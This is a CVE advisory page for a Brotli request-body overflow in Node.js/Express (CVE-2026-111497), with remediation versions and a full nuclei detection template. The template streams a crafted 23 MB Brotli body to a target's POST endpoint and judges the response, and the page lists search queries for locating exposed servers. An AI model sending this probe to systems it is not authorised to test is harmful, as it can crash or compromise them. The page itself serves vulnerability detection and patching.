Browse / CVEs / CVE-2026-111497
CVE-2026-111497· nodejs / node.js· CWE-190
Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
Exploited in the wild. Listed by CISA on 2026-10-27; known to be used by ransomware.
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
Impact
Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.
Fix
Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.
How to confirm it
Positive when: contains "node2shell: VULNERABLE"Run it with nuclei: nuclei -id CVE-2026-111497 -u <target>
The full check
id: CVE-2026-111497
info:
name: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
author: assetnote,DhiyaneshDk,goosvorbook
severity: critical
description: |
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
impact: |
Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.
remediation: |
Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.
reference:
- https://github.com/assetnote/node2shell-scanner
- https://www.slcyber.io/exposure
- https://nvd.nist.gov/vuln/detail/CVE-2026-111497
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-111497
epss-score: 0.82641
epss-percentile: 0.9967
cwe-id: CWE-190
metadata:
verified: true
max-request: 6
vendor: nodejs
product: node.js
shodan-query: 'http.component:"Express"'
fofa-query: 'header="X-Powered-By: Express"'
tags: cve,cve2026,nodejs,express,brotli,overflow,rce,node2shell,js,vkev,kev
variables:
path: "/"
javascript:
- pre-condition: |
(function () {
var explicit = parseInt(tport, 10);
var ports = explicit ? [explicit] : [443, 80];
for (var i = 0; i < ports.length; i++) {
try { if (isPortOpen(thost, ports[i])) return true; } catch (e) {}
}
return false;
})();
code: |
(function () {
const net = require("nuclei/net");
// 23,068,764-byte Brotli body (assetnote/node2shell), byte for byte; decompression pressure, never an executable payload
const PREFIX = "8b000046a440861f6aaf2f0409414a104902a57a74f8fdaf473dea518f7ad4a31e";
const UNIT = "f5a8473dea518f7ad4a31e";
const REPS = (1 << 21) - 1;
const PROBE_BYTES = 23068764;
const VALID_BR = "3b"; // valid, empty Brotli stream
const MALFORMED_BR = "ff"; // Brotli every decoder rejects
const UNSUPPORTED = "78"; // "x", sent with Content-Encoding: x
const UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " +
"(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Node2Shell/1.0.0";
const READ_LIMIT = 1 << 18;
const UPLOAD_REPS = 5957;
const TIMEOUT = 30;
const INTERIM_TIMEOUT = 2; // seconds to wait for a 100-continue / early rejection
let SUFFIX = "528fe207";
for (let i = 0; i < 65; i++) SUFFIX += "20";
SUFFIX += "03";
// binary-exponentiation concat; a naive += over 2M iterations is too slow
function units(n) {
let out = "", block = UNIT;
while (n > 0) {
if (n & 1) out += block;
n >>= 1;
if (n > 0) block += block;
}
return out;
}
// the javascript protocol hands us only host and port, so resolve transport by trying likely candidates once
const TLS_PORTS = { 443: 1, 4443: 1, 8443: 1, 9443: 1, 10443: 1 };
const explicitPort = parseInt(tport, 10);
const candidates = explicitPort
? [{ port: explicitPort, tls: TLS_PORTS[explicitPort] === 1 },
{ port: explicitPort, tls: TLS_PORTS[explicitPort] !== 1 }]
: [{ port: 443, tls: true }, { port: 80, tls: false }];
const route = (typeof tpath === "string" && tpath.charAt(0) === "/") ? tpath : "/";
let transport = candidates[0];
function hostHeader() {
const bare = transport.port === (transport.tls ? 443 : 80);
return bare ? thost : thost + ":" + transport.port;
}
function parseResponse(raw) {
let s = raw;
while (/^HTTP\/1\.[01] 1\d\d/.test(s)) { // skip 1xx interim from Expect: 100-continue
const cut = s.indexOf("\r\n\r\n");
if (cut < 0) return null;
s = s.substring(cut + 4);
}
const line = /^HTTP\/1\.[01] (\d{3})/.exec(s);
if (!line) return null;
const cut = s.indexOf("\r\n\r\n");
if (cut < 0) {
return { status: parseInt(line[1], 10), ctype: "", body: "", done: false };
}
const head = "\r\n" + s.substring(0, cut);
const body = s.substring(cut + 4);
const ct = /\r\ncontent-type:[ \t]*([^\r\n]*)/i.exec(head);
const cl = /\r\ncontent-length:[ \t]*(\d+)/i.exec(head);
const chunked = /\r\ntransfer-encoding:[^\r\n]*chunked/i.test(head);
let done;
if (cl) done = body.length >= parseInt(cl[1], 10);
else if (chunked) done = body.indexOf("\r\n0\r\n\r\n") >= 0;
else done = false;
return {
status: parseInt(line[1], 10),
ctype: ct ? ct[1].trim().toLowerCase() : "",
body: body,
done: done
};
}
// mode: false = short control body | "expect" = stream the probe behind
// Expect: 100-continue | "stream" = stream the probe with no expectation
function attempt(contentEncoding, contentType, bodyHex, contentLength, mode) {
const streaming = (mode === "expect" || mode === "stream");
const useExpect = (mode === "expect");
const r = { error: null, status: null, ctype: "", body: "", sent: 0, aborted: false };
let conn = null;
try {
conn = transport.tls
? net.OpenTLS("tcp", thost + ":" + transport.port)
: net.Open("tcp", thost + ":" + transport.port);
} catch (e) {
r.error = "connect failed: " + e;
return r;
}
try {
conn.SetTimeout(TIMEOUT);
let head = "POST " + route + " HTTP/1.1\r\n" +
"Host: " + hostHeader() + "\r\n" +
"User-Agent: " + UA + "\r\n" +
"Accept-Encoding: identity\r\n" +
"Content-Encoding: " + contentEncoding + "\r\n";
if (contentType) head += "Content-Type: " + contentType + "\r\n";
if (useExpect) head += "Expect: 100-continue\r\n"; // let a proxy reject the body before the 23 MB upload
head += "Content-Length: " + contentLength + "\r\n" +
"Connection: close\r\n\r\n";
conn.Send(head);
let interim = "";
if (streaming) {
if (useExpect) {
// Honour Expect: 100-continue - wait briefly for a 1xx (go ahead) or a
// final status (server refused the body) before streaming the 23 MB, so a
// patched or size-limited endpoint aborts cheaply instead of eating the upload
conn.SetTimeout(INTERIM_TIMEOUT);
try { interim = conn.RecvString(4096) || ""; } catch (e) {}
if (/^HTTP\/1\.[01] [2-5]\d\d/.test(interim)) {
const early = parseResponse(interim);
r.aborted = true;
if (early) { r.status = early.status; r.ctype = early.ctype; r.body = early.body; }
try { conn.Close(); } catch (e) {}
return r;
}
conn.SetTimeout(TIMEOUT);
}
// a patched server tears the socket down mid-stream, so a short write is a negative signal, not an error
try {
conn.SendHex(PREFIX);
r.sent += PREFIX.length / 2;
const block = units(UPLOAD_REPS);
const whole = Math.floor(REPS / UPLOAD_REPS);
const rest = REPS % UPLOAD_REPS;
for (let i = 0; i < whole; i++) {
conn.SendHex(block);
r.sent += block.length / 2;
}
if (rest > 0) {
const tail = units(rest);
conn.SendHex(tail);
r.sent += tail.length / 2;
}
conn.SendHex(SUFFIX);
r.sent += SUFFIX.length / 2;
} catch (e) {}
} else {
conn.SendHex(bodyHex);
r.sent = bodyHex.length / 2;
}
let raw = interim;
for (let i = 0; i < 512; i++) {
let chunk = null;
try { chunk = conn.RecvString(8192); } catch (e) { break; }
if (!chunk || chunk.length === 0) break;
raw += chunk;
if (raw.length >= READ_LIMIT) break;
const partial = parseResponse(raw);
if (partial && partial.done) break;
}
const parsed = parseResponse(raw);
if (!parsed) r.error = "no HTTP response";
else {
r.status = parsed.status;
r.ctype = parsed.ctype;
r.body = parsed.body;
}
} catch (e) {
if (!r.error) r.error = "" + e;
}
try { conn.Close(); } catch (e) {}
return r;
}
// the first live request settles port and TLS for every request that follows
let transportResolved = false;
function send(contentEncoding, contentType, bodyHex, contentLength, mode) {
if (transportResolved) {
return attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
}
let first = null;
for (let i = 0; i < candidates.length; i++) {
transport = candidates[i];
const r = attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
if (r.status !== null) {
transportResolved = true;
return r;
}
if (first === null) first = r;
}
transport = candidates[0];
transportResolved = true;
return first;
}
function control(contentEncoding, contentType, bodyHex) {
return send(contentEncoding, contentType, bodyHex, 1, false);
}
function same(a, b) {
return a.error === null && b.error === null &&
a.status === b.status && a.ctype === b.ctype && a.body === b.body;
}
function matches(a, b, mode) {
if (mode === "status") {
return a.error === null && b.error === null && a.status === b.status;
}
return same(a, b);
}
function failed(stage, r) {
return "node2shell: inconclusive | " + stage + " failed: " + r.error;
}
function nosignal(why) {
return "node2shell: no-signal | " + why;
}
// does the endpoint decompress even without a JSON content type
const bypass = control("br", null, MALFORMED_BR);
if (bypass.error) return failed("content-type bypass control", bypass);
// baseline for a body that decodes cleanly
const valid = control("br", "application/json", VALID_BR);
if (valid.error) return failed("valid Brotli control", valid);
if (bypass.status !== valid.status) {
return nosignal("content-type bypass and valid Brotli controls returned different statuses");
}
// baseline for a Brotli decode failure
const malformed = control("br", "application/json", MALFORMED_BR);
if (malformed.error) return failed("malformed Brotli control", malformed);
let mode = null;
if (valid.status !== malformed.status) mode = "status";
else if (same(bypass, valid) && !same(valid, malformed)) mode = "exact-response";
if (!mode) {
return nosignal("the controls did not establish distinct route and malformed-Brotli response classes");
}
// an unhandled encoding must not look like the route, or the comparison is meaningless
const unsupported = control("x", "application/json", UNSUPPORTED);
if (unsupported.error) return failed("unsupported encoding control", unsupported);
if (matches(unsupported, valid, mode)) {
return nosignal("the unsupported encoding control matched the route response class");
}
let probe = send("br", "application/json", null, PROBE_BYTES, "expect");
if (probe.aborted && probe.status === 417) {
// RFC 9110 10.1.1: a client that receives 417 repeats the request without
// the expectation, otherwise an Expect-unaware hop hides a vulnerable origin
probe = send("br", "application/json", null, PROBE_BYTES, "stream");
}
if (probe.aborted) {
return nosignal("the server answered HTTP " + probe.status + " before reading the body, so the probe was never decompressed");
}
if (probe.sent !== PROBE_BYTES) {
return nosignal("the probe was not fully uploaded (" + probe.sent + "/" + PROBE_BYTES + " bytes)");
}
if (probe.error) return failed("CVE probe", probe);
// the endpoint survived and still answers the way it did before the probe
const after = control("br", "application/json", VALID_BR);
if (after.error) return failed("final valid Brotli control", after);
if (!matches(valid, after, mode)) {
return nosignal("the route response class changed after the probe");
}
if (matches(probe, valid, mode)) {
return "node2shell: VULNERABLE | CVE-2026-111497 | path=" + route +
" | comparison=" + mode +
" | probe=HTTP" + probe.status +
" | reject=HTTP" + malformed.status;
}
if (matches(probe, malformed, mode)) {
return nosignal("the probe reached the malformed-Brotli response class (HTTP " + probe.status + ")");
}
return nosignal("the probe matched neither learned response class (HTTP " + probe.status + ")");
})()
args:
thost: "{{Host}}"
tport: "{{Port}}"
tpath: "{{path}}"
matchers:
- type: word
words:
- "node2shell: VULNERABLE"References
- https://github.com/assetnote/node2shell-scanner
- https://www.slcyber.io/exposure
- https://nvd.nist.gov/vuln/detail/CVE-2026-111497
Use this check only on systems you are authorised to test. Where the data comes from